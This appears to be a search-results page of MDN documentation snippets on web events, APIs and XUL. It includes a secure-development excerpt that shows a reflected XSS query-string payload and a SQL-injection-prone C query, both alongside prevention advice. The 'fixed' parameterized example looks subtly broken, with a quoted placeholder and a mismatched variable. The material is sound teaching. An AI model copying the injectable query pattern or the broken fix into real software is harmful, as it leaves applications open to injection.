...there were only a handful of events that seemed relevant (load, change, dominsertnode, dominsertnodeintodocument, domactivate) and i tried them all in many different ways.
...And 9 more matches
Drag and Drop Example - Archive of obsolete content
the board will need to respond to the dragdrop event so that an element is created when the user drags onto it.
... <stack id="board" style="width:300px; height: 300px; max-width: 300px; max-height: 300px" ondragover="nsdraganddrop.dragover(event, boardobserver)" ondragdrop="nsdraganddrop.drop(event, boardobserver)"> </stack> the board only needs to respond to the dragdrop and dragover events.
...this buttons will respond to the draggesture event and start a drag.
...And 9 more matches
Introducing the Audio API extension - Archive of obsolete content
reading audio streams the loadedmetadata event when the metadata of the media element is available, it triggers a loadedmetadata event.
... this event has the following attributes: mozchannels: number of channels mozsamplerate: sample rate per second mozframebufferlength: number of samples collected in all channels this information is needed later to decode the audio data stream.
..."audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <script> function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('loadedmetadata', loadedmetadata, false); </script> </body> </html> the mozaudioavailable event as the audio is played, sample data is made available to the audio layer and the audio buffer (size defined in mozframebufferlength) gets filled with those samples.
...And 9 more matches
commandset - Archive of obsolete content
in addition, this element can hold a command updater which is used to update commands when certain events occur.
... attributes commandupdater, events, oncommandupdate, targets example <commandset> <command id="cmd_open" oncommand="alert('open!');"/> <command id="cmd_help" oncommand="alert('help!');"/> </commandset> attributes commandupdater type: boolean if true, the commandset is used for updating commands.
... typically, this is used to update menu commands such as undo and cut based on when an event occurs.
...And 9 more matches
Mobile touch controls - Game development
pure javascript approach we could implement touch events on our own — setting up event listeners and assigning relevant functions to them would be quite straightforward: var el = document.getelementsbytagname("canvas")[0]; el.addeventlistener("touchstart", handlestart); el.addeventlistener("touchmove", handlemove); el.addeventlistener("touchend", handleend); el.addeventlistener("touchcancel", handlecancel); this way, touching the game's <canvas> o...
...n the mobile screen would emit events, and thus we could manipulate the game in any way we want (for example, moving the space ship around).
... the events are as follows: touchstart is fired when the user puts a finger on the screen.
...And 9 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
... 108 denial of service attack, denial of service, glossary, intro, security dos (denial of service) is a network attack that prevents legitimate use of server resources by flooding the server with requests.
... 115 dos attack glossary, security dos (denial of service) is a network attack that prevents legitimate use of server resources by flooding the server with requests.
...And 9 more matches
Index - Learn web development
76 a first splash into javascript article, beginner, codingscripting, conditionals, functions, javascript, learn, objects, operators, variables, events, l10n:priority now you've learned something about the theory of javascript, and what you can do with it, we are going to give you a crash course in the basic features of javascript via a completely practical tutorial.
... 89 javascript building blocks article, assessment, beginner, codingscripting, conditionals, functions, guide, introduction, javascript, landing, loops, module, events, l10n:priority in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events.
... 93 image gallery assessment, beginner, codingscripting, conditionals, event handler, javascript, learn, loops, events, l10n:priority now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites — a javascript-powered image gallery.
...And 9 more matches
I/O Functions
functions that operate on pathnames functions that act on file descriptors directory i/o functions socket manipulation functions converting between host and network addresses memory-mapped i/o functions anonymous pipe function polling functions pollable events manipulating layers functions that operate on pathnames a file or directory in a file system is specified by its pathname.
... pr_createfilemap pr_memmap pr_memunmap pr_closefilemap anonymous pipe function pr_createpipe polling functions this section describes two of the most important polling functions provided by nspr: pr_poll pr_getconnectstatus pollable events a pollable event is a special kind of file descriptor.
... the only i/o operation you can perform on a pollable event is to poll it with the pr_poll_read flag.
...And 9 more matches
Starting WebLock
in order to be started up or notified when some event happens, the sample component has to hook into mozilla, which it can do either by overriding an existing component or by registering for some event that will cause it to start up.
... observersare objects that are notified when various events occur.
...these parameters are defined according to the event being observed.
...And 9 more matches
nsIDragService
void firedrageventatsource(in unsigned long amsg); obsolete since gecko 43 void firedrageventatsource(in mozilla::eventmessage aeventmessage); native code only!
...n( ) ; void invokedragsession( in nsidomnode adomnode, in nsisupportsarray atransferables, in nsiscriptableregion aregion, in unsigned long aactiontype ); void invokedragsessionwithimage(in nsidomnode adomnode, in nsisupportsarray atransferablearray, in nsiscriptableregion aregion, in unsigned long aactiontype, in nsidomnode aimage, in long aimagex, in long aimagey, in nsidomdragevent adragevent, in nsidomdatatransfer adatatransfer); void invokedragsessionwithselection(in nsiselection aselection, in nsisupportsarray atransferablearray, in unsigned long aactiontype, in nsidomdragevent adragevent, in nsidomdatatransfer adatatransfer); void startdragsession( ) ; void suppress(); void unsuppress(); constants constant valu...
... firedrageventatsource() obsolete since gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40)this feature is obsolete.
...And 9 more matches
Using the Frame Timing API - Web APIs
the performanceframetiming interface provides frame timing data about the browser's event loop.
... a frame represents the amount of work a browser does in one event loop iteration such as processing dom events, resizing, scrolling, rendering, css animations, etc.
... an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of each frame event.
...And 9 more matches
Fullscreen API - Web APIs
instead, it augments several other interfaces to add the methods, properties, and event handlers needed to provide full-screen functionality.
... event handlers the fullscreen api defines two events which can be used to detect when full-screen mode is turned on and off, as well as when errors occur during the process of changing between full-screen and windowed modes.
... event handlers for these events are available on the document and element interfaces.
...And 9 more matches
Recommended Drag Types - Web APIs
for example: event.datatransfer.setdata("text/plain", "this is text to drag"); dragging text in textboxes and selections on web pages is done automatically by the browser, so you do not need to handle it yourself.
...for example: var dt = event.datatransfer; dt.setdata("text/uri-list", "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); as usual, set the text/plain type last, as a fallback for the text/uri-list type.
... var url = event.datatransfer.getdata("url"); you may also see data with the mozilla-specific type text/x-moz-url.
...And 9 more matches
Working with the History API - Web APIs
these methods work in conjunction with the onpopstate event.
...the popstate event won't be fired because the page has been reloaded.
... if the user clicks back once again, the url will change to http://mozilla.org/foo.html, and the document will get a popstate event, this time with a null state object.
...And 9 more matches
XMLHttpRequest - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.076923076923077%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 650 150" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..." y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a><polyline points="401,25 411,20 411,30 401,25" stroke="#d4dde4" fill="none"/><line x1="411" y1="25" x2="441" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequest" target="_top"><rect x="441" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="511" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" a...
...lignment-baseline="middle">xmlhttprequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} despite its name, xmlhttprequest can be used to retrieve any type of data, not just xml.
...And 9 more matches
ARIA: button role - Accessibility
role="button" aria-pressed="false">save</div> the above example creates a simple button which is first in the focus order, though <button> or <input> with type="button" should be used for buttons: <button id="savechanges">save</button> note: if using role="button" instead of the semantic <button> or <input type="button"> elements, you will need to make the element focusable and have to define event handlers for click and keydown events, including the enter and space keys, in order to process the user's input.
... required javascript features required event handlers buttons can be operated by mouse, touch, and keyboard users.
... for native html <button> elements, the button's onclick event fires for mouse clicks and when the user presses space or enter while the button has focus.
...And 9 more matches
Box-shadow generator - CSS: Cascading Style Sheets
lider-pointer'; node.appendchild(pointer); this.pointer = pointer; setmousetracking(node, updateslider.bind(this)); sliders[topic] = this; setvalue(topic, this.value); } var setbuttoncomponent = function setbuttoncomponent(node) { var type = node.getattribute('data-type'); var topic = node.getattribute('data-topic'); if (type === "sub") { node.textcontent = '-'; node.addeventlistener("click", function() { decrement(topic); }); } if (type === "add") { node.textcontent = '+'; node.addeventlistener("click", function() { increment(topic); }); } } var setinputcomponent = function setinputcomponent(node) { var topic = node.getattribute('data-topic'); var unit_type = node.getattribute('data-unit'); var input = document.createelement('inpu...
...t'); var unit = document.createelement('span'); unit.textcontent = unit_type; input.setattribute('type', 'text'); node.appendchild(input); node.appendchild(unit); input.addeventlistener('click', function(e) { this.select(); }); input.addeventlistener('change', function(e) { setvalue(topic, e.target.value | 0); }); subscribe(topic, function(value) { node.children[0].value = value; }); } var increment = function increment(topic) { var slider = sliders[topic]; if (slider === null || slider === undefined) return; if (slider.value + slider.step <= slider.max) { slider.value += slider.step; setvalue(slider.topic, slider.value) notify.call(slider); } }; var decrement = function decrement(topic) { var slider = sliders[topic]; if (slider ...
... delta = slider.max - slider.min; var width = slider.node.clientwidth; var offset = slider.pointer.clientwidth; var pos = (value - slider.min) * width / delta; slider.value = value; slider.pointer.style.left = pos - offset / 2 + "px"; slider.node.setattribute('data-value', value); notify.call(slider); } var setmousetracking = function setmousetracking(elem, callback) { elem.addeventlistener("mousedown", function(e) { callback(e); document.addeventlistener("mousemove", callback); }); document.addeventlistener("mouseup", function(e) { document.removeeventlistener("mousemove", callback); }); } var subscribe = function subscribe(topic, callback) { if (subscribers[topic] === undefined) subscribers[topic] = []; subscribers[topic].push(callback); } var ...
...And 9 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
autoplay of media elements now that we've covered what autoplay is and what can prevent autoplay from being allowed, we'll look at how your web site or app can automatically play media upon page load, how to detect when autoplay fails to occur, and tips for coping when autoplay is denied by the browser.
...there's not an event triggered when autoplay fails.
...you can do this easily, by listening for the play event to be fired on the media element.
...And 9 more matches
end - SVG: Scalable Vector Graphics
WebSVGAttributeend
each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event).
... <event-value> this value defines an event and an optional offset that determines the time at which the element's animation should end.
... the animation end time is defined relative to the time that the specified event is fired.
...And 9 more matches
dev/panel - Archive of obsolete content
optional onready function an event handler that will be called when the document in the panel becomes interactive.
... optional onload function an event handler that will be called after the document in the panel is fully loaded.
...you can only send the panel document message after you've received the ready event.
...And 8 more matches
command - Archive of obsolete content
ArchiveMozillaXULEventscommand
the command event is executed when an element is activated.
...the command event should always be used instead of the click event because it will be called in all of the needed cases.
... general info specification xul interface xulcommandevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
...And 8 more matches
Updating Commands - Archive of obsolete content
command updaters a command updater is a feature of the commandset element which allows it to update commands when certain events happen.
...a simple command updater looks like this: <commandset id="updatepasteitem" commandupdater="true" events="focus" oncommandupdate="goupdatecommand('cmd_paste');"/> a command updater is indicated by using the commandupdater attribute, which should be set to true.
... the events attribute is used to list the events that the command updater listens for.
...And 8 more matches
key - Archive of obsolete content
ArchiveMozillaXULkey
in order to use (non-default) key commands within specific elements, you will need to listen for key events.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
...And 8 more matches
listbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... suppressonselect type: boolean if this attribute is not specified, a select event is fired whenever an item is selected, either by the user or by calling one of the select methods.
...And 8 more matches
richlistbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... suppressonselect type: boolean if this attribute is not specified, a select event is fired whenever an item is selected, either by the user or by calling one of the select methods.
...And 8 more matches
tooltip - Archive of obsolete content
onpopuphidden type: script code this event is sent to a popup after it has been hidden.
... this event may also be received while the popup is still open, but when sub-menus contained within this popup are hidden.
... <menuitem label="submenu1 item 1"/> <menuitem label="submenu1 item 2"/> </menupopup> </menu> <menu id="submenu2" label="submenu 1"> <menupopup id="submenu2-popup"> <menuitem label="submenu2 item 1"/> <menuitem label="submenu2 item 2"/> </menupopup> </menu> <menupopup/> onpopuphiding type: script code this event is sent to a popup when it is about to be hidden.
...And 8 more matches
Anatomy of a video game - Game development
your game loop might be similar to the find the differences example and base itself on input events.
...if something looks like it should be attached to a more infrequent event then it is often a good idea to break it out of the main loop (but not always).
... building a main loop in javascript javascript works best with events and callback functions.
...And 8 more matches
CSS and JavaScript accessibility best practices - Learn web development
e ui too often and potentially confuse screen reader (and possibly other) users: form.onsubmit = validate; function validate(e) { errorlist.innerhtml = ''; for(let i = 0; i < formitems.length; i++) { const testitem = formitems[i]; if(testitem.input.value === '') { errorfield.style.left = '360px'; createlink(testitem); } } if(errorlist.innerhtml !== '') { e.preventdefault(); } } note: in this example, we are hiding and showing the error message box using absolute positioning rather than another method such as visibility or display, because it doesn't interfere with the screen reader being able to read content from it.
...if there are errors (if(errorlist.innerhtml !== '')) then we stop the form submitting (using preventdefault()), and display any error messages that have been created (see below).
... mouse-specific events as you will be aware, most user interactions are implemented in client-side javascript using event handlers, which allow us to run functions in response to certain events happening.
...And 8 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
universe!'); } let mygreeting = settimeout(sayhi, 2000); that can be useful if you have a function that needs to be called both from a timeout and in response to an event, for example.
... settimeout(function() { alert('world'); }, 0); alert('hello'); this can be useful in cases where you want to set a block of code to run as soon as all of the main thread has finished running — put it on the async event loop, so it will run straight afterwards.
...tarts with "cancel", not "clear" as with the "set..." methods.) just pass it the value returned by the requestanimationframe() call to cancel, which you stored in the variable raf: cancelanimationframe(raf); active learning: starting and stopping our spinner in this exercise, we'd like you to test out the cancelanimationframe() method by taking our previous example and updating it, adding an event listener to start and stop the spinner when the mouse is clicked anywhere on the page.
...And 8 more matches
Looping code - Learn web development
canvas.height = height; function random(number) { return math.floor(math.random()*number); } function draw() { ctx.clearrect(0,0,width,height); for (let i = 0; i < 100; i++) { ctx.beginpath(); ctx.fillstyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(width), random(height), random(50), 0, 2 * math.pi); ctx.fill(); } } btn.addeventlistener('click',draw); </script> </body> </html> you don't have to understand all the code for now, but let's look at the part of the code that actually draws the 100 circles: for (let i = 0; i < 100; i++) { ctx.beginpath(); ctx.fillstyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(width), random(height), random(50), 0, 2 * math.pi); ctx.fill(); } random(x), defined earlier in t...
... important: with for — as with all loops — you must make sure that the initializer is incremented or, depending on the case, decremented, so that it eventually reaches the point where the condition is not true.
...ts in: <label for="search">search by contact name: </label> <input id="search" type="text"> <button>search</button> <p></p> now on to the javascript: const contacts = ['chris:2232322', 'sarah:3453456', 'bill:7654322', 'mary:9998769', 'dianne:9384975']; const para = document.queryselector('p'); const input = document.queryselector('input'); const btn = document.queryselector('button'); btn.addeventlistener('click', function() { let searchname = input.value.tolowercase(); input.value = ''; input.focus(); for (let i = 0; i < contacts.length; i++) { let splitcontact = contacts[i].split(':'); if (splitcontact[0].tolowercase() === searchname) { para.textcontent = splitcontact[0] + '\'s number is ' + splitcontact[1] + '.'; break; } else { para.textcontent = '...
...And 8 more matches
Accessible Toolkit Checklist
often these kinds of toolkits don't use a separate window for each control; in that case remember to generate a unique 32 bit child id for each control so that the msaa event system can call back for the right iaccessible for each event.
...make sure that parent-child relationships are exposed correctly in each window's msaa tree general msaa support focus events handling event callbacks, which requires a unique id for each non-windowed child of every widget that can be focused or have any other event associated with it.
... for example, a unique child id would be required for each tree item supporting the most important basic iaccessible events get_accparent: get the parent of an iaccessible.
...And 8 more matches
CustomizableUI.jsm
in order to use this facility, you should create a plain js object which defines some of the event handlers defined below.
... not all event handler methods need to be defined.
...events are dispatched synchronously on the ui thread, so if you can delay any/some of your processing, that is advisable.
...And 8 more matches
Secure Development Guidelines
is exploitable (in some browsers) with a simple request such as: http://www.victim.com?something=<script>alert('oops')</script> xss: prevention escape all dynamic input that will be sent back to the user html encoding &amp; → & &lt; → < &gt; → > &quot; → " &apos; → ' url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice sql injection occurs when un-trusted input is mixed with a sql string sql is a lan...
...could itself become an sql instruction and be used to: query data from the database (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: prevention use parameterized queries insert a marker for every piece of dynamic content so data does not get mixed with sql instructions example: sqlite3_stmt *stmt; char *str = "select * from account where name='?'"; sqlite3_prepare_v2(db, str, strlen(str), &stmt, null); sqlite3_bind_text(stmt, 1, name, strlen(name), sqlite_transient); sqlite3_step(stmt); sqlite3_finalize(p_stmt); wri...
... } integer overflows/underflows: prevention difficult to fix: you need to check every arithmetic operation with user input arithmetic libraries like safeint can help signedness issues bits data type range 8 signed char -128 - +127 unsigned char 0 - +255 16 signed short -32768 - +32767 unsigned short 0 - +65535 32 signed int -2147483648 -...
...And 8 more matches
nsICompositionStringSynthesizer
to create an instance for this: var domwindowutils = window.windowutils; var compositionstringsynthesizer = domwindowutils.createcompositionstringsynthesizer(); for example, when you create a composition whose composing string is "foo-bar-buzz" and "bar" is selected to convert, then, first, you need to start composition: domwindowutils.sendcompositionevent("compositionstart", "", ""); next, dispatch composition string with crause information and caret information (optional): // set new composition string with .setstring().
...(optional) compositionstringsynthesizer.setcaret("foo-bar".length, 0); // dispatch dom events to modify the focused editor compositionstringsynthesizer.dispatchevent(); when you modify the composing string, you don't need to recreate the instance anymore.
... the composing string information is cleared by a call of .dispatchevent().
...And 8 more matches
nsIThreadInternal
last changed in gecko 1.9 (firefox 3) inherits from: nsithread method overview void popeventqueue(); void pusheventqueue(in nsithreadeventfilter filter); attributes attribute type description observer nsithreadobserver get/set the current thread observer; set to null to disable observing.
...the observer will be released on the thread corresponding to this thread object after all other events have been processed during a call to shutdown.
... methods popeventqueue() reverts a call to pusheventqueue().
...And 8 more matches
Background Tasks API - Web APIs
concepts and usage the main thread of a web browser is centered around its event loop.
... this code draws any pending updates to the document currently being displayed, runs any javascript code the page needs to run, accepts events from input devices, and dispatches those events to the elements that should receive them.
... in addition, the event loop handles interactions with the operating system, updates to the browser's own user interface, and so forth.
...And 8 more matches
Dragging and Dropping Multiple Items - Web APIs
setting and getting with indices the mozsetdataat() method allows you to add multiple items during a dragstart event.
... this function similarly to setdata() var dt = event.datatransfer; dt.mozsetdataat("text/plain", "data to drag", 0); dt.mozsetdataat("text/plain", "second data to drag", 1); this example adds two items to be dragged.
... event.datatransfer.mozcleardataat("text/plain", 1); caution: removing the last format for a particular index will remove that item entirely, shifting the remaining items down, so the later items will have different indices.
...And 8 more matches
IDBDatabase - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...oke="#d4dde4"/><a xlink:href="/docs/web/api/idbdatabase" target="_top"><rect x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbdatabase</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties idbdatabase.name read only a domstring that contains the name of the connected database.
... methods inherits from: eventtarget idbdatabase.close() returns immediately and closes the connection to a database in a separate thread.
...And 8 more matches
IDBRequest - Web APIs
the idbrequest interface of the indexeddb api provides access to results of asynchronous requests to databases and database objects using event handler attributes.
... the request object does not initially contain any information about the result of the operation, but once information becomes available, an event is fired on the request, and the information becomes available through the properties of the idbrequest instance.
...when the state is set to done, every request returns a result and an error, and an event is fired on the request.
...And 8 more matches
InputDeviceCapabilities API - Web APIs
the inputdevicecapabilities api provides details about the underlying sources of input events.
...for example, the first version of the api indicates whether a device fires touch events rather than whether it is a touch screen.
... input device capabilities concepts and usage because dom events abstract device input, they provide no way to learn what device or type of device fired an event.
...And 8 more matches
MediaRecorder - Web APIs
mediarecorder.stop() stops recording, at which point a dataavailable event containing the final blob of saved data is fired.
... event handlers mediarecorder.ondataavailable called to handle the dataavailable event, which is periodically triggered each time timeslice milliseconds of media have been recorded (or when the entire media has been recorded, if timeslice wasn't specified).
... the event, of type blobevent, contains the recorded media in its data property.
...And 8 more matches
Page Visibility API - Web APIs
the page visibility api provides events you can watch for to know when a document becomes visible or hidden, as well as features to look at the current visibility state of the page.
... when the user minimizes the window or switches to another tab, the api sends a visibilitychange event to let listeners know the state of the page has changed.
... you can detect the event and perform some actions or behave differently.
...And 8 more matches
SVGSVGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...#d4dde4"/><a xlink:href="/docs/web/api/svgsvgelement" target="_top"><rect x="131" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsvgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggraphicselement and also implements the ones from svgzoomandpan, svgfittoviewbox, and windoweventhandlers.
... svgsvgelement.screenpixeltomillimeterx user interface (ui) events in dom level 2 indicate the screen positions at which the given ui event occurred.
...And 8 more matches
Audio and Video Delivery - Developer guides
note: play will be ignored by most browsers unless issued by a user-initiated event.
... one of the principle uses of eme is to allow browsers to implement drm (digital rights management), which helps to prevent web-based content (especially video) from being copied.
... you may detect click, touch and/or keyboard events to trigger actions such as play, pause and scrubbing.
...And 8 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
without sending the origin: http header), preventing its non-tainted used in <canvas> elements.
... disablepictureinpicture prevents the browser from suggesting a picture-in-picture context menu or to request picture-in-picture automatically in some cases.
... events event name fired when audioprocess the input buffer of a scriptprocessornode is ready to be processed.
...And 8 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
installation the api allows us to add event listeners for key events we are interested in — the first one is the install event: self.addeventlistener('install', (e) => { console.log('[service worker] install'); }); in the install listener, we can initialize the cache and add files to it for offline use.
... var gamesimages = []; for(var i=0; i<games.length; i++) { gamesimages.push('data/img/'+games[i].slug+'.jpg'); } var contenttocache = appshellfiles.concat(gamesimages); then we can manage the install event itself: self.addeventlistener('install', (e) => { console.log('[service worker] install'); e.waituntil( caches.open(cachename).then((cache) => { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); there are two things that need an explanation here: what extendableevent.waituntil does, and what the cache...
... activation there is also an activate event, which is used in the same way as install.
...And 8 more matches
On page load - Archive of obsolete content
progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events.
...ou target) of the following xul documents: application uri to overlay firefox chrome://browser/content/browser.xul thunderbird chrome://messenger/content/messenger.xul navigator from seamonkey chrome://navigator/content/navigator.xul attaching a script attach a script to your overlay (see "attaching a script to an overlay") that adds a load event listener to appcontent element (browsers) or messagepane (mail): window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); var myextension = { init: function() { var appcontent = document.getelementbyid("appcontent"); // browser if(appcontent){ appcontent.adde...
...ventlistener("domcontentloaded", myextension.onpageload, true); } var messagepane = document.getelementbyid("messagepane"); // mail if(messagepane){ messagepane.addeventlistener("load", function(event) { myextension.onpageload(event); }, true); } }, onpageload: function(aevent) { var doc = aevent.originaltarget; // doc is document that triggered "onload" event // do something with the loaded page.
...And 7 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
passing around functions/code as strings often you'll want to pass functions or code to other functions, most notoriously settimeout and addeventlistener.
...settimeout("dosomething();", 100); addeventlistener("load", "myaddon.init(); myaddon.onload();", true); setinterval(am_i_a_string_or_function_reference_qmark, 100); that in itself is certainly not elegant, but it may also become a security issue if you pass code that was externally retrieved (or at least contains bits of externally retrieved data): // do not use!
... addeventlistener("load", function() { myaddon.init(); myaddon.onload(); }, true); function doxhr() { //...
...And 7 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
for security reasons, and to prevent errors, care needs to be taken to avoid evaluating arbitrary text as html.
...onclick) for (var key in elemattr) { var val = elemattr[key]; if (nodes && key == "key") { nodes[val] = elem; continue; } var attrns = namespace(key); if (typeof val == "function") { // special case for function attributes; don't just add them as 'on...' attributes, but as events, using addeventlistener elem.addeventlistener(key.replace(/^on/, ""), val, false); } else { // note that the default namespace for xml attributes is, and should be, blank (ie.
...event listeners can be defined on the given nodes by passing functions rather than strings to on* attributes: var href = "http://www.google.com/"; var text = "google"; var nodes = {}; document.documentelement.appendchild( jsontodom(["xul:hbox", {}, ["div", {}, ["a", { href: href, key: "link", onclick: function (event) { alert(event.target.href); } }, ...
...And 7 more matches
close - Archive of obsolete content
the close event is executed when a request has been made to close the window when the user presses the close button.
... if an event handler is placed on the window element, it can be prevented to close (see example below).
... note that the close event is only fired when the user presses the close button on the titlebar; (i.e.
...And 7 more matches
OpenClose - Archive of obsolete content
as with other ways of opening a menu, the popupshowing event will be fired to provide an opportunity to customize the commands that appear on the menu.
...if you do want to open a submenu, open the parent menu first, and then open the child menu in a popupshown event listener.
... see the popupshown event for an example of how to do this.
...And 7 more matches
HTML text fundamentals - Learn web development
.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...e = 'show solution'; } updatecode(); }); var htmlsolution = '<h1>my short story</h1>\n<p>i am a statistician and my name is trish.</p>\n<p>my legs are made of cardboard and i am married to a fish.</p>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).subst...
....7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...And 7 more matches
Introduction to web APIs - Learn web development
ource() method to create a mediaelementaudiosourcenode representing the source of our audio — the <audio> element will be played from: const audioelement = document.queryselector('audio'); const playbtn = document.queryselector('button'); const volumeslider = document.queryselector('.volume'); const audiosource = audioctx.createmediaelementsource(audioelement); next up we include a couple of event handlers that serve to toggle between play and pause when the button is pressed and reset the display back to the beginning when the song has finished playing: // play/pause audio playbtn.addeventlistener('click', function() { // check if context is in suspended state (autoplay policy) if (audioctx.state === 'suspended') { audioctx.resume(); } // if track is stopped, play ...
